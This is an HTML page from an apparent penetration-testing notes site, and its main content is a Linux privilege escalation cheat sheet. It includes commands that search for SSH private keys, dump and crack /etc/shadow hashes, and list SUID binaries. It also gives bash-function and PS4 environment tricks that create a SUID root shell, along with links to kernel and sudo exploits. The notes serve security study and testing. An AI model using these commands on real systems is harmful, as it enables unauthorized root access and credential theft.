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<ul><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs/meltdown.html">meltdown</a></li></ul></details><details id=binaries ontoggle="linkClick(this); return false;" ><summary>Binaries</summary><ul><li><a href="/exploit/binaries/Shellcode.html">Shellcode</a></li><li><a href="/exploit/binaries/aslr.html">aslr</a></li><details id=buffer_overflow ontoggle="linkClick(this); return false;" ><summary>Buffer_overflow</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/exploit/binaries/buffer_overflow/docs/amd64.html">amd64</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/amd64_instructions.html">amd64_instructions</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/buffer_overflow.html">buffer_overflow</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html">cut_stack_in_half</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html">pwntools_specifics</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html">ret_address_reuse</a></li></ul></details><li><a href="/exploit/binaries/buffer_overflow/ropping.html">ropping</a></li></ul></details><details id=canary_bypass ontoggle="l
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<div class="column column-3">
<ul>
<li><a href="#linux-privilege-escalation">Linux Privilege Escalation</a><ul>
<li><a href="#links">Links</a></li>
<li><a href="#kernel-exploits">Kernel Exploits</a><ul>
<li><a href="#dirty-cow">Dirty COW</a></li>
</ul>
</li>
<li><a href="#stored-keys-passwords">Stored Keys &amp; Passwords</a></li>
<li><a href="#permissions">Permissions</a></li>
<li><a href="#sudo-binary">Sudo Binary</a></li>
<li><a href="#path-hijacking">PATH Hijacking</a></li>
<li><a href="#bash-function">Bash function</a></li>
<li><a href="#environment-variable">Environment Variable</a></li>
<li><a href="#capabilities">Capabilities</a></li>
<li><a href="#crontab">Crontab</a></li>
<li><a href="#nfs-rootsquash">NFS Rootsquash</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="linux-privilege-escalation">Linux Privilege Escalation</h1>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">Basics</a></li>
<li><a href="https://github.com/rebootuser/LinEnum">LinEnum</a></li>
<li><a href="https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh">Smart Enumeration</a></li>
<li><a href="https://github.com/mzet-/linux-exploit-suggester">Linux Exploit Suggester</a></li>
<li><a href="https://gtfobins.github.io/">GTFObins</a> </li>
<li><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">Linpeas</a></li>
</ul>
<h2 id="kernel-exploits">Kernel Exploits</h2>
<h3 id="dirty-cow">Dirty COW</h3>
<ul>
<li><a href="https://dirtycow.ninja/">CVE-2016-5195</a></li>
<li><a href="../kernel-exploits/dirtycow">c0w.c</a></li>
</ul>
<h2 id="stored-keys-passwords">Stored Keys &amp; Passwords</h2>
<ul>
<li>History</li>
<li>Environment Variables </li>
<li>Config + Dot Files</li>
<li>SSH keys</li>
</ul>
<div class="codehilite"><pre><span></span><code>find / -type f -name <span class="s2">&quot;authorized_keys&quot;</span> -o -name <span class="s2">&quot;id_rsa&quot;</span> <span class="m">2</span>&gt;/dev/null
</code></pre></div>
<h2 id="permissions">Permissions</h2>
<ul>
<li>Weak permissions</li>
<li>Umask</li>
<li>Unshadow via <code>unshadow /etc/passd /etc/shadow &gt; unshadow.txt</code> and john or hashcat.<ul>
<li>e.g. <code>john --wordlist=./wordlist --format=crypt hash</code></li>
</ul>
</li>
<li>SUID<ul>
<li>list
<code>sh
find / -perm /6000 -ls 2&gt;dev/null</code></li>
<li><a href="../../../exploit/linux/shared_object_injection.md">Shared object injection</a></li>
<li><a href="https://www.cvedetails.com/cve/CVE-2016-1247/">CVE-2016-1247</a></li>
</ul>
</li>
<li>User specific files</li>
</ul>
<div class="codehilite"><pre><span></span><code>find / -user root -name <span class="s2">&quot;*.txt&quot;</span>
</code></pre></div>
<h2 id="sudo-binary">Sudo Binary</h2>
<ul>
<li><a href="../../../exploit/linux/sudo/baron_samedit.md">Baron Samedit</a></li>
<li><a href="../../../exploit/linux/sudo/CVE_2019_14287.md">CVE-2019-14287</a></li>
<li><a href="../../../exploit/linux/sudo/CVE_2019_18634.md">CVE-2019-18634</a></li>
<li><a href="../../../exploit/linux/ld_preload.md">LD_PRELOAD</a></li>
<li><code>sudo -l</code> <ul>
<li>Take a look at GTFObins</li>
<li>Keep an eye on the displayed host and env capabilities </li>
</ul>
</li>
</ul>
<h2 id="path-hijacking">PATH Hijacking</h2>
<ul>
<li>Interpositioning binaries via PATH<ul>
<li>Look for binaries used in other bins and scripts</li>
<li>Interposition name and add the directory in front of <code>$PATH</code></li>
</ul>
</li>
</ul>
<h2 id="bash-function">Bash function</h2>
<ul>
<li>Interpositioning of binaries via bash functions</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="k">function</span> /path/to/binary<span class="o">()</span> <span class="o">{</span> cp /bin/bash /tmp <span class="o">&amp;&amp;</span> chmod +s /tmp/bash <span class="o">&amp;&amp;</span> /tmp/bash -p<span class="p">;</span> <span class="o">}</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code><span class="nb">export</span> -f /path/to/binary
</code></pre></div>
<ul>
<li>Call binary which invokes this function</li>
</ul>
<h2 id="environment-variable">Environment Variable</h2>
<div class="codehilite"><pre><span></span><code>env -i <span class="nv">SHELLOPTS</span><span class="o">=</span>xtrace <span class="nv">PS4</span><span class="o">=</span><span class="s1">&#39;$(cp /bin/bash /tmp &amp;&amp; chown root.root /tmp/bash &amp;&amp; chmod +s /tmp/bash)&#39;</span> /bin/sh -c <span class="s1">&#39;&lt;binary&gt;; set +x; /tmp/bash -p&#39;</span>
</code></pre></div>
<h2 id="capabilities">Capabilities</h2>
<ul>
<li><a href="../../../exploit/linux/capabilities.md">capabilities</a></li>
</ul>
<h2 id="crontab">Crontab</h2>
<ul>
<li>Check <code>cat /etc/crontab</code></li>
<li>Check writable scripts and binaries that are scheduled</li>
<li>Check <code>$PATH</code> order</li>
</ul>
<h2 id="nfs-rootsquash">NFS Rootsquash</h2>
<ul>
<li><a href="../../../exploit/linux/nfs_rootsquash.md">nfs rootsquash</a></li>
</ul>
</span>
</div>
</div>
<div id="footer">
<p></p>
<center>
&copy; Stefan Friese
</center>
</div>
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